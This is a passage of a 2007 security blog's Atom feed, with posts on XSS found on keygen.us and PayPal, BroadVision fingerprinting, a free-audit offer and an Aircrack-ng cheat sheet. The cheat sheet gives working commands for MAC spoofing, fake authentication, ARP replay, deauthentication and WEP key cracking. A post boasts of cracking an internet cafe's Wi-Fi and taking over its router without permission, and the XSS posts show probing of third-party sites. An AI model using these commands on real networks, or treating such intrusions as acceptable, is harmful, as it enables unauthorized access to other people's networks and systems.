Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-300728938894504204?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/300728938894504204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=300728938894504204' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/300728938894504204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/300728938894504204'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/no-hacking-activites.html' title='No hacking activites'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4218753537885892964</id><published>2007-11-05T22:21:00.000+08:00</published><updated>2007-11-05T22:36:53.663+08:00</updated><title type='text'>SAP hacking Oracle?????</title><content type='html'>This is one of the biggest news i had ever heard of, SAP hacking ORACLE. That is totally shocking but at the same time funny. Big organizations are fighting and competiting for each other to secure their position in the software market. I am for once happy that SAP got into trouble. Well, the news are spreading like fire over the internet. Check out 2 of the sites below, and of course you can google for more.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.theinquirer.net/en/inquirer/news/2007/07/03/red-faced-sap-admits-hacking-oracle"&gt;http://www.theinquirer.net/en/inquirer/news/2007/07/03/red-faced-sap-admits-hacking-oracle&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.zdnet.com/threatchaos/?p=450"&gt;http://blogs.zdnet.com/threatchaos/?p=450&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/Ry8qXoEF9lI/AAAAAAAAAfo/pROf9GgKD_0/s1600-h/fucked+sap.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/Ry8qXoEF9lI/AAAAAAAAAfo/pROf9GgKD_0/s400/fucked+sap.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5129365085978228306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4218753537885892964?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4218753537885892964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4218753537885892964' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4218753537885892964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4218753537885892964'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/sap-hacking-oracle.html' title='SAP hacking Oracle?????'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/Ry8qXoEF9lI/AAAAAAAAAfo/pROf9GgKD_0/s72-c/fucked+sap.gif' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-4563504345540748522</id><published>2007-11-02T20:27:00.000+08:00</published><updated>2007-11-02T20:51:51.521+08:00</updated><title type='text'>keygen.us XSS</title><content type='html'>I was again playing around with XSS and this time on one of the biggest cracking site which is keygen.us. Well, i tried some basic XSS and it didn't work as they did some input validation and escape my input characters. It got me pumped up and wanted an XSS on their site. In the end, with a few help i managed to get an XSS on their site and one of them includes mario's exploit. It was an overall learning experience for me and an exiciting one. Check it out:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RysdRoEF9kI/AAAAAAAAAfg/9OQLS5aVWOQ/s1600-h/keygen+xss.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RysdRoEF9kI/AAAAAAAAAfg/9OQLS5aVWOQ/s400/keygen+xss.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5128224789341009474" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RysdIoEF9jI/AAAAAAAAAfY/03drGjAEBQ4/s1600-h/fucked.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RysdIoEF9jI/AAAAAAAAAfY/03drGjAEBQ4/s400/fucked.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5128224634722186802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-4563504345540748522?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/4563504345540748522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=4563504345540748522' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4563504345540748522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/4563504345540748522'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/keygenus-xss.html' title='keygen.us XSS'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/RysdRoEF9kI/AAAAAAAAAfg/9OQLS5aVWOQ/s72-c/keygen+xss.JPG' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6000774827862336314</id><published>2007-11-01T14:09:00.000+08:00</published><updated>2007-11-01T14:24:19.967+08:00</updated><title type='text'>Paypal CRMgateway XSS</title><content type='html'>Paypal used to suffer from a lot from phishing attacks in the past and i bet even today, the bad guys are finding ways to exploit this hole to get more money. I was again playing around and i managed to find a XSS hole in paypal's crmgateway. Well, it seems like paypal never learn their lesson in the past and still allows for injections. Anyway, i had already cancelled my account with paypal because of their bad service and unforgivable mistake they made. Good luck paypal.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp0.blogger.com/_Zx8XWzC_KPQ/RylvVIEF9iI/AAAAAAAAAfQ/b4cgIAWJBcM/s1600-h/paypal.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_Zx8XWzC_KPQ/RylvVIEF9iI/AAAAAAAAAfQ/b4cgIAWJBcM/s400/paypal.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5127752059470607906" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6000774827862336314?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6000774827862336314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6000774827862336314' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6000774827862336314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6000774827862336314'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/paypal-crmgateway-xss.html' title='Paypal CRMgateway XSS'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_Zx8XWzC_KPQ/RylvVIEF9iI/AAAAAAAAAfQ/b4cgIAWJBcM/s72-c/paypal.JPG' height='72' width='72'/><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3403603383334591347</id><published>2007-11-01T01:08:00.000+08:00</published><updated>2007-11-01T01:15:33.849+08:00</updated><title type='text'>Hacking and Cracking Wireless</title><content type='html'>One day after intruding into the router, i remembered my colleague Mark compiled a list of Aircrack-ng commands for cracking and injection. He was doing a wireless project and managed to capture the commands needed when doing the pentest. Check it out. This is a summarized version of the Aircrack-ng commands and it comes in very handy when doing a wireless audit and save you the time needed to read manuals. Use it in your next wireless audit. Thank you Mark for the compilation and your effort.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;install madwifi-ng driver (done! monitor mode working)&lt;br /&gt;install rt73 driver for dlink usb (done! monitor mode working)&lt;br /&gt;install rtutilt for rausb0 configuration&lt;br /&gt;install aircrack-ng (done dev version from svn)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Steps:&lt;br /&gt;&lt;br /&gt;#####################################################&lt;br /&gt;CONFIGURATION:&lt;br /&gt;&lt;br /&gt;D-Link DWL-G122&lt;br /&gt;&lt;br /&gt;ifconfig rausb0 up&lt;br /&gt;iwpriv rausb0 forceprism 1&lt;br /&gt;iwpriv rausb0 rfmontx 1&lt;br /&gt;iwconfig rausb0 mode monitor OR&lt;br /&gt;airmon-ng start rausb0 channel&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NetGear WG511T&lt;br /&gt;&lt;br /&gt;wlanconfig ath0 destroy&lt;br /&gt;wlanconfig ath0 create wlandev wifi0 wlanmode monitor&lt;br /&gt;&lt;br /&gt;specify channel&lt;br /&gt;iwocnfig ath0 channel n&lt;br /&gt;########################################################&lt;br /&gt;&lt;br /&gt;CHANGING MAC ADDRESS&lt;br /&gt;&lt;br /&gt;ifconfig ath0 down&lt;br /&gt;ifconfig ath0 hw ether &lt;mac address&gt;&lt;br /&gt;ifconfig ath0 up&lt;br /&gt;&lt;br /&gt;use macchanger instead&lt;br /&gt;&lt;br /&gt;#########################################################&lt;br /&gt;&lt;br /&gt;INJECTION TESTING&lt;br /&gt;&lt;br /&gt;NetGear WG511T&lt;br /&gt;aireplay-ng -9&lt;br /&gt;===================&lt;br /&gt;D-Lnk DWL G122&lt;br /&gt;&lt;br /&gt;aireplay-ng -9 (if this doesn't work it means no ap on same channel found)&lt;br /&gt;Try card-to-card injection below:&lt;br /&gt;====================&lt;br /&gt;&lt;br /&gt;Card-To-Card Injection:&lt;br /&gt;Make sure they are on same channel using &lt;iwconfig device channel&gt; (channel hopping does not work on D-Link DWL G122???)&lt;br /&gt;iwlist &lt;device&gt; channel (to find out the current channel set)&lt;br /&gt;&lt;br /&gt;aireplay-ng -9 -i ath0 rausb0 (ath0 will mimic an access point)&lt;br /&gt;aireplay-ng -9 -i rausb0 ath0 (rausb0 will mimic an access point)&lt;br /&gt;=====================&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;########################################################&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PACKET CAPTURE:&lt;br /&gt;&lt;br /&gt;airodump-ng device (find out first the interested bssid and channel)&lt;br /&gt;&lt;br /&gt;Then capture packets on that particular channel:&lt;br /&gt;&lt;br /&gt;airodump-ng --channel &lt;ap channel&gt; --bssid &lt;ap mac address&gt; -w dumpfile device(ath0/rausb0&lt;br /&gt;&lt;br /&gt;Notes: capture full packets when using PTW attack (don't dump ivs only)&lt;br /&gt;&lt;br /&gt;MERGING capture files (RESUMING)&lt;br /&gt;&lt;br /&gt;mergecap -w out.cap test1.cap test2.cap test3.cap&lt;br /&gt;&lt;br /&gt;FOR IVS&lt;br /&gt;&lt;br /&gt;use ivstools&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;############################################################&lt;br /&gt;&lt;br /&gt;ATTACKS&lt;br /&gt;&lt;br /&gt;You may want to associate to ap first using fakeauth before any test&lt;br /&gt; aireplay-ng --fakeauth=0 -e SSID -a 00:1a:6d:f8:40:d0&lt;apmac&gt; -h 06:14:6c:4c:b9:7c&lt;yourmac&gt; ath0&lt;br /&gt;&lt;br /&gt;Automatic Association:&lt;br /&gt;ireplay-ng -1 6000 -o 1 -q 10 -e SSID -a 00:1A:6D:F8:40:D0 -h 06:14:6C:4C:B9:7C ath0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ARP replay (for wep cracking PTW method):&lt;br /&gt;if RXQ in airodump window is &gt; 90 then #/s = 200+ (watch for #Data, it contains IV)&lt;br /&gt;&lt;br /&gt;aireplay-ng --arpreplay -b &lt;bssid&gt; -h &lt;mac address of any connected client&gt; device&lt;br /&gt;&lt;br /&gt;Deauthentication (to capture WPA handshake, reveal hidden SSID)&lt;br /&gt;Fake Authentication (to authenticate to AP in case needed before we can inject)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#############################################################&lt;br /&gt;WEP CRACKING &lt;br /&gt;&lt;br /&gt;Using PTW attack (version 0.9+ only) Packets must be ARP (from arp-replay)&lt;br /&gt;&lt;br /&gt;aircrack-ng -z -b &lt;bssid&gt; dumpfile*.cap &lt;br /&gt;40-bit = 20,000&lt;br /&gt;104-bit = 40,000&lt;br /&gt;&lt;br /&gt;Normal Attack &lt;br /&gt;-n 64 (test if 40-bin WEP) remove -n for 104-bit (default)&lt;br /&gt;aircrack-ng -n 64 -a 1 capturefile&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#########################################################&lt;br /&gt;&lt;br /&gt;RESOLVE MAC Address to IP Address&lt;br /&gt;&lt;br /&gt;use netdiscover or ARP tools&lt;br /&gt;&lt;br /&gt;##########################################################&lt;br /&gt;&lt;br /&gt;Determine the frequency on a particular channel&lt;br /&gt;http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select "Wifi Channel Selection and Channel Overlap" tab.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#######################################################&lt;br /&gt;&lt;br /&gt;Increasing injection Speed&lt;br /&gt;&lt;br /&gt;iwconfig device rate 11M&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#####################################################&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3403603383334591347?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3403603383334591347/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3403603383334591347' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3403603383334591347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3403603383334591347'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/11/hacking-and-cracking-wireless.html' title='Hacking and Cracking Wireless'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-6003231861477134664</id><published>2007-10-31T15:22:00.000+08:00</published><updated>2007-10-31T15:46:26.444+08:00</updated><title type='text'>Hacked into a Wireless Router.</title><content type='html'>These days, i am just mad crazy. Hacking, hacking and still hacking. Basically i am dead boring and decide to see how far can i go with my hacking skills. Today, after finishing auditing a customer, i wanted to check my email as i need to send out an urgent email. I saw an internet cafe with Wifi connection, however there was encryption on. Within a few minutes, i managed to crack their password and hacked straight into their router. With that, i managed to use bit torrent to do port forwarding and download my favourite tv show. Well, it wasn't as thrilling as the first time i hacked into a wireless router, but still, it was a hack. How i do it? Just by observation and some trial and error and there you go.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/Rygyt4EF9hI/AAAAAAAAAfI/wNhxiGHWtdM/s1600-h/hacked+wireless+router.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/Rygyt4EF9hI/AAAAAAAAAfI/wNhxiGHWtdM/s400/hacked+wireless+router.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5127403939486365202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-6003231861477134664?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/6003231861477134664/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=6003231861477134664' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6003231861477134664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/6003231861477134664'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/hacked-into-wireless-router.html' title='Hacked into a Wireless Router.'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_Zx8XWzC_KPQ/Rygyt4EF9hI/AAAAAAAAAfI/wNhxiGHWtdM/s72-c/hacked+wireless+router.JPG' height='72' width='72'/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-2429153711923700052</id><published>2007-10-31T09:52:00.000+08:00</published><updated>2007-10-31T09:56:30.212+08:00</updated><title type='text'>Web Application Security with Joe Walker</title><content type='html'>This is a great slideshare from Joe Walker with all the new hacking techniques that involves with ajax and Web2.0. Its content is simple yet very entertaining and easily understandable. Check it out guys,&lt;br /&gt;&lt;br /&gt;&lt;div style="width:425px;text-align:left" id="__ss_147905"&gt;&lt;object style="margin:0px" height="355" width="425"&gt;&lt;param name="movie" value="http://s3.amazonaws.com/slideshare/ssplayer2.swf?doc=web-app-security-1193579768112939-1"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://s3.amazonaws.com/slideshare/ssplayer2.swf?doc=web-app-security-1193579768112939-1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;&lt;a href="http://www.slideshare.net/?src=embed"&gt;&lt;img src="http://s3.amazonaws.com/slideshare/logo_embd.png" style="border:0px none;margin-top:-5px" alt="SlideShare"/&gt;&lt;/a&gt; | &lt;a href="http://slideshare.net/joewalker/web-app-security" title="View this slideshow on SlideShare"&gt;View&lt;/a&gt; | &lt;a href="http://www.slideshare.net/upload"&gt;Upload your own&lt;/a&gt;&lt;/div&gt;&lt;/div&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://getahead.org/blog/joe/"&gt;http://getahead.org/blog/joe/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-2429153711923700052?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/2429153711923700052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=2429153711923700052' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2429153711923700052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/2429153711923700052'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/web-application-security-with-joe.html' title='Web Application Security with Joe Walker'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-970476624288276960</id><published>2007-10-31T08:03:00.000+08:00</published><updated>2007-10-31T08:34:33.733+08:00</updated><title type='text'>Free Audit, Is it Real??</title><content type='html'>Ok, i am providing free audits for those who need my help in assisting them to secure their applications or networks and read properly, i am &lt;strong&gt;NOT &lt;/strong&gt;charging a single cent for my effort of work in helping you. The reason for doing so is because i am giving back to the community that once helped me in getting where i am today. I remembered i was hacking like nobody business back in the days with trojans, port scanning, exploits, etc..I was very young then and indeed very enthusiastic in all sorts of hacking. Today, because of the busy work schedule and commitments i have, i tend to have lesser time in reading or researching. However, i am still pretty much involved in the security community when in comes to networking and web applications. There are actually quite a number of people who approached me for free auditing of their public facing web applications and i actually managed test their site and show them what i had found. Of course, i cannot reveal any of those clients i did before, but trust me, some of them are huge organization and of course some are my friends.&lt;br /&gt;&lt;br /&gt;To get a free audit, i need the following details:&lt;br /&gt;&lt;br /&gt;1. Prove that you are the owner of the site or network.&lt;br /&gt;&lt;br /&gt;2. Personal details of yourself.&lt;br /&gt;&lt;br /&gt;3. If you are from a company, use your company's email to send me an email and follow up with a call to my mobile.&lt;br /&gt;&lt;br /&gt;4. If you are an individual, i would require you to give me a call to my mobile or skype. Send me an email first at hackathology@gmail.com&lt;br /&gt;&lt;br /&gt;5. If there should be any meetup, prepare a Non Diclosure Agreement for signing if required and discuss for the Scope Of Work.&lt;br /&gt;&lt;br /&gt;I cannot guarantee i have the time to test and deliver on time for each and every customer if the request traffic is high, however, i will do my best to deliver you of what i promised. Also, if the scope gets larger, then the amount of delay will be longer, it all depends. Don't forget i have a day time job and doing a favour for you. Lastly, should there be any changes based on the audit details, i will update it here on my blog.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-970476624288276960?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/970476624288276960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=970476624288276960' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/970476624288276960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/970476624288276960'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/free-audit-is-it-real.html' title='Free Audit, Is it Real??'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-3414742689034126196</id><published>2007-10-30T07:42:00.000+08:00</published><updated>2007-10-30T08:07:46.440+08:00</updated><title type='text'>Detecting BroadVision Applications. Are they secure?</title><content type='html'>Are proprietary applications secure? Well, i guess yes and no. Security researchers are constantly researching for flaws in those applications and only if a bug is reported, will only then the company take actions to secure their loopholes. I am currently auditing a BroadVision application and what a surprised i got from my results. I am not supposed to reveal anything, but i let me tell you, for a critical application like this, i am not sure if the customer is using an old version of BroadVision or it was simply not check for sanitization. I could basically do pretty much i want from that application and create a havoc. Too bad, i cant show anything here but trust me, if you guys got a chance to audit a BroadVision application, you will be surprised with the kind of flaws you find. Its basically like opening a can of worms, waiting for someone to feed on it.&lt;br /&gt;&lt;br /&gt;Well, at first i wasn't sure it was a BroadVision application, however after some researching on observation on the HTTP headers, this is what i got:&lt;br /&gt;&lt;br /&gt;POST http://example.com/&lt;strong&gt;bvsn/bvcom&lt;/strong&gt;/en/server/whereto.jsp?&lt;strong&gt;BV_SessionID&lt;/strong&gt;=NNNN1809204881.10923774158NNNN&amp;&lt;strong&gt;BV_EngineID&lt;/strong&gt;=nnndaoplghjkiihcfklcfkmdgohdgih.0&amp;BV_Use&lt;strong&gt;BVCookie&lt;/strong&gt;=yes HTTP/1.0&lt;br /&gt;&lt;br /&gt;The killer signature here is the parameter names of BV_SessionID and BV_ EngineID. If you see these anywhere in a URL or on a http header, you have more or less nailed down a BroadVision Application. Of course there are some other parameters like checking for .do extention, however that wasn't seen during the audit. Google for those highlighted in bold and you will see what i mean. I am now signing off here and back for another round of audit. I am going to pretty much cripple the whole application this time round.&lt;br /&gt;&lt;br /&gt;The Hacka Man&lt;div class="blogger-post-footer"&gt;The Hacka Man&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2673681754036568683-3414742689034126196?l=hackathology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackathology.blogspot.com/feeds/3414742689034126196/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2673681754036568683&amp;postID=3414742689034126196' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3414742689034126196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2673681754036568683/posts/default/3414742689034126196'/><link rel='alternate' type='text/html' href='http://hackathology.blogspot.com/2007/10/detecting-broadvision-applications-are.html' title='Detecting BroadVision Applications. Are they secure?'/><author><name>Ronald</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2673681754036568683.post-435414991779869490</id><published>2007-10-29T20:09:00.000+08:00</published><updated>2007-10-29T22:43:20.556+08:00</updated><title type='text'>Injection Vectors, Are you up for it?</title><content type='html'>Recently, i had been doing a lot of web penetration test and i realised that most of them suffers from injection flaws. Well, some can be deadly and some were just pretty minor. Well, it doesnt matter whether how severe the injection point is, if your site can be injected, it means that there are still some sanatizing and input validation work which still need to be followed up. Whenever i perform a penetration test on huge organization, scanners are always deemed useless and i have to do it manually with some form of checks i have on a list. Well, i managed to download a list of injection vectors from my friend Andres and that certainly helped me save time on googling for attack vectors. For those who do web penetration test, this will be very useful which will save your hours and hours looking, reading or searching around for information.&lt;br /&gt;&lt;br /&gt;****************Start of the injection list*********************************&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/RyXwYoEF9ZI/AAAAAAAAAeI/yio2FgCWaBw/s1600-h/ls1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_Zx8XWzC_KPQ/RyXwYoEF9ZI/AAAAAAAAAeI/yio2FgCWaBw/s400/ls1.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126768056693290386" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp3.blogger.com/_Zx8XWzC_KPQ/RyXwh4EF9aI/AAAAAAAAAeQ/fWRguC6gPpY/s1600-h/ls2.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_Zx8XWzC_KPQ/RyXwh4EF9aI/AAAAAAAAAeQ/fWRguC6gPpY/s400/ls2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5126768215607080354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bp2.blogger.com/_Zx8XWzC_KPQ/RyXwtoEF9bI/AAAAAAAAAeY/zPhSNrXpjr8/s1600-h/ls3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" 